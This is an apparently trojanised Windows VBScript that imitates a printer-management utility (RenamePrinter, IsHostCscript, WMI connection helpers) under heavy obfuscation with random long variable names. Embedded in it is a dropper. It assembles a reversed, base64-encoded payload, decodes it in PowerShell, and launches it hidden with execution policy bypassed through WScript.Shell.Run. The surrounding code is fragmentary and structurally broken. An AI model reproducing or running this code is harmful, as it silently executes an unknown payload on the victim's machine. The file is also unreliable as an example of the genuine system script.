wscript.echo L_Text_Error_General02_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & LYPMLCGNHGxUkeoNtxCefXUbTamFIZElRKhDFoiYoWfgIwxMTqLTVqvygMZzCKlNDYudLTaNsRRJriYZbuoBiPdAnxNJvYFhMOPgYdWtPwGcgVJnzBUdjNzviowbaebbLlunLAaaHditFAKokDMFceyYOgPTuIsPrJkuQpsDerkASrYyyYzCcOTwgMQKKWybPvFyklUi & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

ParseCommandLine = sNeYySoAEwYSaJqbTWfzwnyhGSJTttzZJfNXPHPxCLwtmBfWoJKrEOUAuRuNVwDBEwQzNJIWFTnVPndXkELeKhCDRbpXVvaANzHsclTZTFJEGHsFMWeczTTjUZxtKyMYiNoIaKgLRwLJlCBklTkvBVefIoegvdKtWOIzahNsecHuwtrxMtfAPphKXAvWRidFQTzLTweN

end if

end function

zPhvYwwXxRuOSjgGXIXGOxjRNDbvqVmyizxubBocYlEGIljxyOnnjWmyatkmHjJIkZCSkslWWTvHUnpIDJYxxedoughrCoujkPDmNWDyZceBrBCYKGdRMKSyYOTuILrDCqkXaFZvJcvhkKAjXEzBoCnbfMIiNmUnRGqbNAsfdwkRYkNzmbKXIONOtbzuMumVjJojzhTu:MUboRmeiXgTWGlmvIZbhuwXVyVOPKPHrAGvfJjNmCrUpUhfGzzzXUqyPybgGUAhwLewbVRDcHscpotzaWJIsMsmDDqwEyDECiFjzAfZhQqHJgmuvWpZRTOZUCmQocmfPWGCLBNXRVWCOHyYgqIufhKIywWDhMVIHZkvkZTzSuobPVmvmZMdCWaUMMOLbeYgiOWqQxUEI:DUDiSVCaWivhXZrrpcokoYvUuiaoUJxOSqUVEaTPRBgzcyMsXcvTETURTaLxxjIoYmjrQoaaylsQXByetJryFvhyVGetiBPkKfhGTJKtgdjjonRmgmSYeYohsYospErNWuiHWJOginuzCsBZMyxfTxNIEHmfWOsZnVqytWvxgcaRsvdPyONjjzAInnXONXrNQYJfiKHO = "UGQBDsX":WiosihnxSyVyzmecnUFBGbyuNPqQBzipShEXPdNSYHiBSKiYCbLgJExuzyQbNkbCRacUUODPSngsQvfachNuznDfEZwdCfNBFaUqtpdHmMpDrZtDoEwrpVywhYQPkSnzTbdvskQPKRKgSFEDhGMRrLsDWdAzmdmLsBXRNPOUGobwlUydWbFiWvdfumwmqTPkxFkfQTZl:JCrpLWcYbDqDYHZffxuxeuUyEqtMBwFGxOIYGQkmFBWYDstOrlbVXSLuJgHBeJmRvbifhFnrXOEPtlcNnprZjUXFurLrEvlrNEzslVrROwOLfNKCurfqhqRRwAtnXLlhYWrDdVuHOgkBFqDjsmddhMtixFiQZsMVRWNboRZLGdskZQBHEBcJFErMfVzoTFatfEheJsKt:

Dim JSVVGfqqMfJRlrErrycxDTHgiyBrNtszbIwibzHOtuOSajFSAFhBlLVCIbzeuXIIbhEnRYTBmXAlWBkgCEAzjirDKUFYEjrbxbGrhXLtflADNcLYoWYboVcwdqhvmtSFIWTxRrjYAbmkpPbxYpquQHEkBkLRVKchYzqKTiSosXGpzAmIzNzqiKyQpybtZSBrhfLrrzht

dsNahrgmuhEPYDtfgxyUEdAlnNLLigMTJTArTCIBsLLdIPDOFbgyTMCJPRQYZcxGRAeTfQMzWRsLvxwCWNEzNcTxSzSQOSHXILJyNIdBTveqNMcDBWEsbxBhEsJXqvKyCtJaCVTLvUtzCWTJZjCZnkFxNLEIAaSmrguOeBHvHSaXobExbrKqPcjDWwCpvjjLHEAAUzBf = "powershell -command "

sppdCsulSarMonkxyQwRaXhzniEdBLBVtSdnBXKhnkeiXOyrmZZRieqzSoUKWVhkPXTWBfNTGDZAWfljphwnrHBNNqNMBgzVKQeIUrbdkdeFfNQnlQpgIGieOkBCHPSTCFIcplcGXPHLYhdQLTOUMoQZvFOuschoEMpVqpuTpSxPkKaTdBQJiRcYBDvornrTwmfEyQRq = "WScript.Shell"

YtuNfxvGbLfROVcBHTAbyZgDjqFwzjhmQfHrCuHxwpNwpLIHRbUrdKSjsxYNYSJCqLYTEEEbtSilKlBfdrIBAgzWJlnmyybAvFxnkmPmCACJcjBDvcaLjmceMwKoXoJSJqlepVWMSxFGBuSGZQIZpKAQeIGCPxzdDltTZRSZzFCybQhSxWRurmTnRvpbQqPFmhJgLPIu = " "

JSVVGfqqMfJRlrErrycxDTHgiyBrNtszbIwibzHOtuOSajFSAFhBlLVCIbzeuXIIbhEnRYTBmXAlWBkgCEAzjirDKUFYEjrbxbGrhXLtflADNcLYoWYboVcwdqhvmtSFIWTxRrjYAbmkpPbxYpquQHEkBkLRVKchYzqKTiSosXGpzAmIzNzqiKyQpybtZSBrhfLrrzht = JSVVGfqqMfJRlrErrycxDTHgiyBrNtszbIwibzHOtuOSajFSAFhBlLVCIbzeuXIIbhEnRYTBmXAlWBkgCEAzjirDKUFYEjrbxbGrhXLtflADNcLYoWYboVcwdqhvmtSFIWTxRrjYAbmkpPbxYpquQHEkBkLRVKchYzqKTiSosXGpzAmIzNzqiKyQpybtZSBrhfLrrzht & StrReverse("==AApAAIAkCA2AwMA0FASBQYAgEADBwWAwCA5AwMA0FASBQYAgEADBwWAACAgAg" & uPsN & YtuNfxvGbLfROVcBHTAbyZgDjqFwzjhmQfHrCuHxwpNwpLIHRbUrdKSjsxYNYSJCqLYTEEEbtSilKlBfdrIBAgzWJlnmyybAvFxnkmPmCACJcjBDvcaLjmceMwKoXoJSJqlepVWMSxFGBuSGZQIZpKAQeIGCPxzdDltTZRSZzFCybQhSxWRurmTnRvpbQqPFmhJgLPIu & uPsN & "A0CApAwJAkCAnAwKAcCApAQfAADA7BQdAMGA9BAMAsHAgAALAACA9BAMAsHAlBA" & uPsN & YtuNfxvGbLfROVcBHTAbyZgDjqFwzjhmQfHrCuHxwpNwpLIHRbUrdKSjsxYNYSJCqLYTEEEbtSilKlBfdrIBAgzWJlnmyybAvFxnkmPmCACJcjBDvcaLjmceMwKoXoJSJqlepVWMSxFGBuSGZQIZpKAQeIGCPxzdDltTZRSZzFCybQhSxWRurmTnRvpbQqPFmhJgLPIu & uPsN & "A0HAwAwJAsCAnAweAACAsAAIA0HAwAweAEGA

hIYBNuLPqwacuIUTMhXofWmazsYvXnxkbvbtALdGIGIErdAtYSyWYhbEiHoFmgKCLUqCMedXuzrVdIWanIIYkAcLYhljFQdJvecgQDfOrDNBxVUTRXHzLfLzPvwEpZbPJyfJHTzoDppnDVPaIztXPqkqrwMpgShNAGUkVGgbqkcxjLJfGUIbknNhkGXfNqLQwqwGXjEb = JSVVGfqqMfJRlrErrycxDTHgiyBrNtszbIwibzHOtuOSajFSAFhBlLVCIbzeuXIIbhEnRYTBmXAlWBkgCEAzjirDKUFYEjrbxbGrhXLtflADNcLYoWYboVcwdqhvmtSFIWTxRrjYAbmkpPbxYpquQHEkBkLRVKchYzqKTiSosXGpzAmIzNzqiKyQpybtZSBrhfLrrzht

Set WfxNLqtIRpJigIZZzOKYclpDBnlvOMbCNAvVoAgiGIqEIPQMtZakelMXyHvQvhNxPUVetVoanfDdnTfkBVOxCfGyMXmzXQZmaPYlyGhjnaczInDfDKjdwSJTUWRrKXBPUjiEoBaDzQSuuNUwoScwYSngaElqabYzfIutMCfCXeuJSnWjbIKcHFLqsGTVVYbFyPWpNlzP = CreateObject(sppdCsulSarMonkxyQwRaXhzniEdBLBVtSdnBXKhnkeiXOyrmZZRieqzSoUKWVhkPXTWBfNTGDZAWfljphwnrHBNNqNMBgzVKQeIUrbdkdeFfNQnlQpgIGieOkBCHPSTCFIcplcGXPHLYhdQLTOUMoQZvFOuschoEMpVqpuTpSxPkKaTdBQJiRcYBDvornrTwmfEyQRq)

SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF = ("$Codigo = '") & hIYBNuLPqwacuIUTMhXofWmazsYvXnxkbvbtALdGIGIErdAtYSyWYhbEiHoFmgKCLUqCMedXuzrVdIWanIIYkAcLYhljFQdJvecgQDfOrDNBxVUTRXHzLfLzPvwEpZbPJyfJHTzoDppnDVPaIztXPqkqrwMpgShNAGUkVGgbqkcxjLJfGUIbknNhkGXfNqLQwqwGXjEb & "'"

SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF = SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF & ";$OWjuxd = [system.Text.encoding]::Unicode.GetString( "

SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF = SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF & "[system.Convert]::Frombase64String( $codigo ) )"

SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF = SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF & ";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

WfxNLqtIRpJigIZZzOKYclpDBnlvOMbCNAvVoAgiGIqEIPQMtZakelMXyHvQvhNxPUVetVoanfDdnTfkBVOxCfGyMXmzXQZmaPYlyGhjnaczInDfDKjdwSJTUWRrKXBPUjiEoBaDzQSuuNUwoScwYSngaElqabYzfIutMCfCXeuJSnWjbIKcHFLqsGTVVYbFyPWpNlzP.Run "" & dsNahrgmuhEPYDtfgxyUEdAlnNLLigMTJTArTCIBsLLdIPDOFbgyTMCJPRQYZcxGRAeTfQMzWRsLvxwCWNEzNcTxSzSQOSHXILJyNIdBTveqNMcDBWEsbxBhEsJXqvKyCtJaCVTLvUtzCWTJZjCZnkFxNLEIAaSmrguOeBHvHSaXobExbrKqPcjDWwCpvjjLHEAAUzBf & " " & SvAVHCdWkINxXadPgjkXupNjPoGRrNFDVJAlIPixMeMmceUrrNIijsskMTwsXHVGtzaxJyweFOYWrGrugCaDkDXkHEwszInUUToCxcaywoTbJwdFLnasdXRNFWmSyLLQqgCXGjCUZQmwAydmuJtIMhzSlApavIBEdOqqeGkDzIRhiCwdKsvgmUROajVWdkTXIojuuoSF, 0, False

Sub ifcFbEalOsxKjClzEKSgIhQUcDMxeFjkJllPoGEGlNUzmgMBkWyLMUKsBLCJrdtLFsGATWwcwIYpTGAhUzdueKewwAwHYGAHEtUOKcnfgEokhykuVLccyeCUdWwpEAHuuyOvhpoNwrVHQjpiBONjNJExPGCwqqgcFSOHPOtxcJSCOnwfcDdoXsdWzlmoHNwmyovQTNiF()

window.resizeTo 300, 100

End Sub

sub Usage(bExit)

if bExit then

wscript.quit(1)

end if

end sub

function IsHostCscript()

on error resume next

dim strFullName

dim strCommand

dim i, j

dim bReturn

bReturn = false

strFullName = WScript.FullName

i = InStr(1, strFullName, ".exe", 1)

if i <> 0 then

j = InStrRev(strFullName, "\", i, 1)

if j <> 0 then

strCommand = Mid(strFullName, j+1, i-j-1)

if LCase(strCommand) = "cscript" then

bReturn = true

end if

if Err <> 0 then

wscript.echo L_Text_Error_General01_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & LYPMLCGNHGxUkeoNtxCefXUbTamFIZElRKhDFoiYoWfgIwxMTqLTVqvygMZzCKlNDYudLTaNsRRJriYZbuoBiPdAnxNJvYFhMOPgYdWtPwGcgVJnzBUdjNzviowbaebbLlunLAaaHditFAKokDMFceyYOgPTuIsPrJkuQpsDerkASrYyyYzCcOTwgMQKKWybPvFyklUi & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& znTWpRgJLYOQRxfmdYoWyPHEbIJcfJhTRjCqQFVFPPGPdRsiqvyOjwJsVJQtcxvSaPIkQVEfRrnCVMGsFBhSPlrMoaLFjKEEicMYXBvlRovUWNabTgIBTiYybLSzueVFKvHCVWEgItDqRIHjopVoxLTsqxJEcnayzLFJdCiKrTYGVdGrHIntoACHhgyazIXHjqzfPUeh & hex(Err.Number) & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & Err.Description

end if

IsHostCscript = bReturn

end function

sub LastError()

on error resume next

dim oError

set oError = CreateObject("WbemScripting.SWbemLastError")

wscript.echo L_Operation_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oError.Operation

wscript.echo L_Provider_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oError.ProviderName

wscript.echo L_Description_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oError.Description

wscript.echo L_Text_Error_General03_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oError.StatusCode

end if

end sub

function GODbGiVFNItMISPYBjuJmutwDIvSsAbmTlyqWERtnGWOdyauctelpuYdiFkFJvQlSCfowuMZlKlKNLbYkqkNTxhZOZNuyLnotQpFSZdsIBcEtqSwaZOOAtSoKPWsZftoEWRtTwTzjYzyJeulChcpjLvMYHYdgrjNlhKTuGfmGsPEMhvmToAWrPtHAsKHOQdAQYjAaTLJ(strServer, strNameSpace, uZOeSqnEPdErmNiCoMBjsqonsqijJYiAqHTeItAcmclFxXofYBQBnhbCGChEXiZNjHYyQDdShlSbvnYwAjwLkzGCVcAUjfDfjWDVCupHtHPAzhWMrRLiuhOeLjOibJuijDiBTodeksYAscJyOvWaQIItZDzVdVbqpDacxObLAiqCRfuGsLnFHYpXXnKiKyPaExpnsRDv, czcAYVAsNXFiQGAWnMacXrRrzPYShigzpqcgHlwOubuxNrFZsNclUwRREWyubHBvsusugfVtGdoZiqoEuOKjQhUbMxVHPMGjqKbxGddxpJjasNLBoMFJcdxeemPqjddyuCkNVmpVDevDsbbtpFOIfFHgWRKEhClITgVNmMuLirXDAFHgTiOnowuZWMiJVlDLgZtJeMoN, bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA)

on error resume next

dim oLocator

dim bResult

bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA = null

bResult = false

set oLocator = CreateObject("WbemScripting.SWbemLocator")

set bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA = oLocator.ConnectServer(strServer, strNameSpace, uZOeSqnEPdErmNiCoMBjsqonsqijJYiAqHTeItAcmclFxXofYBQBnhbCGChEXiZNjHYyQDdShlSbvnYwAjwLkzGCVcAUjfDfjWDVCupHtHPAzhWMrRLiuhOeLjOibJuijDiBTodeksYAscJyOvWaQIItZDzVdVbqpDacxObLAiqCRfuGsLnFHYpXXnKiKyPaExpnsRDv, czcAYVAsNXFiQGAWnMacXrRrzPYShigzpqcgHlwOubuxNrFZsNclUwRREWyubHBvsusugfVtGdoZiqoEuOKjQhUbMxVHPMGjqKbxGddxpJjasNLBoMFJcdxeemPqjddyuCkNVmpVDevDsbbtpFOIfFHgWRKEhClITgVNmMuLirXDAFHgTiOnowuZWMiJVlDLgZtJeMoN)

bResult = true

Err.Clear

else

wscript.echo L_Text_Msg_General08_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & LYPMLCGNHGxUkeoNtxCefXUbTamFIZElRKhDFoiYoWfgIwxMTqLTVqvygMZzCKlNDYudLTaNsRRJriYZbuoBiPdAnxNJvYFhMOPgYdWtPwGcgVJnzBUdjNzviowbaebbLlunLAaaHditFAKokDMFceyYOgPTuIsPrJkuQpsDerkASrYyyYzCcOTwgMQKKWybPvFyklUi _

& VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & znTWpRgJLYOQRxfmdYoWyPHEbIJcfJhTRjCqQFVFPPGPdRsiqvyOjwJsVJQtcxvSaPIkQVEfRrnCVMGsFBhSPlrMoaLFjKEEicMYXBvlRovUWNabTgIBTiYybLSzueVFKvHCVWEgItDqRIHjopVoxLTsqxJEcnayzLFJdCiKrTYGVdGrHIntoACHhgyazIXHjqzfPUeh & hex(Err.Number) & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& Err.Description

end if

else

wscript.echo L_Text_Msg_General09_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & LYPMLCGNHGxUkeoNtxCefXUbTamFIZElRKhDFoiYoWfgIwxMTqLTVqvygMZzCKlNDYudLTaNsRRJriYZbuoBiPdAnxNJvYFhMOPgYdWtPwGcgVJnzBUdjNzviowbaebbLlunLAaaHditFAKokDMFceyYOgPTuIsPrJkuQpsDerkASrYyyYzCcOTwgMQKKWybPvFyklUi _

& Err.Description

end if

GODbGiVFNItMISPYBjuJmutwDIvSsAbmTlyqWERtnGWOdyauctelpuYdiFkFJvQlSCfowuMZlKlKNLbYkqkNTxhZOZNuyLnotQpFSZdsIBcEtqSwaZOOAtSoKPWsZftoEWRtTwTzjYzyJeulChcpjLvMYHYdgrjNlhKTuGfmGsPEMhvmToAWrPtHAsKHOQdAQYjAaTLJ = bResult

end function

function RenamePrinter(oParamDict)

on error resume next

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, RVeKkVjYrUfdydVWVWHsGdPFyNbzaVjBdBMQjmWelDxhGMWWvBDFNoDwXCeCFwZCSowQFdLdhIctBxFmMUcFktgsRBcBtReDDVAnElDDFRuaHvmQQJYkTlvszTrOAtRrwSwjbelKgANkWGXMGrARAQZveUNkyVrRaptoRdHLHeoSdnekndCuQrkQulwefuLcoUDBXclH

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, VmKOffTvYHHkaXeCsqpDGxwDGmAvOlFqskdwyAstxqzObHuuzWWAQduNelBucvsXMTzwrAXdwnIMjCMOXgKtvuyuKwQvZemeUgnnugmajzlUDIudQXIujjoSSLnzTUMcuwWlzFAOjYNULqCCwymjZtKkocXiCqZLhpDitjrqdqGqFnzCmVxnqPJrEfPKbGjtudvaLldt & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kServerName)

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, cHbDhlyYvUcfaqnMthMtAoPmmHZuGtODexZdmOCbckDUxzfWudpSeXjjOKvsXITQMkUXgbeLMhwXzAyzudgoJjWYqQZjXjdXrXAzcqXacWyyHqphrndScAAINRnTfeGXPpFVpTvcPFDLymHmgmMYOGHzRnbeGhvIqoKsNQFJsRCuoDvJTUJygHBXPUuxeOQQQifPfcKm & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kPrinterName)

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, dZkPzHcblcbcaPPZYhLaHPqcJBjuXXNAlxPltjbGZBDYYlTsDltssWlluiErBkhBESVpNTmRKpKXdQiieiEVXTvpdKmpjDYydScXYIRUTWnfGuZGDPaNlONCJstbWJSgdFOImOGWnrRODWrYyzBqLlKbnYFXmJEbIkDXzUwVGDCjbZGExEIrMCgZFzOiPGkreUwClvSr & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kNewPrinterName)

dim mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz

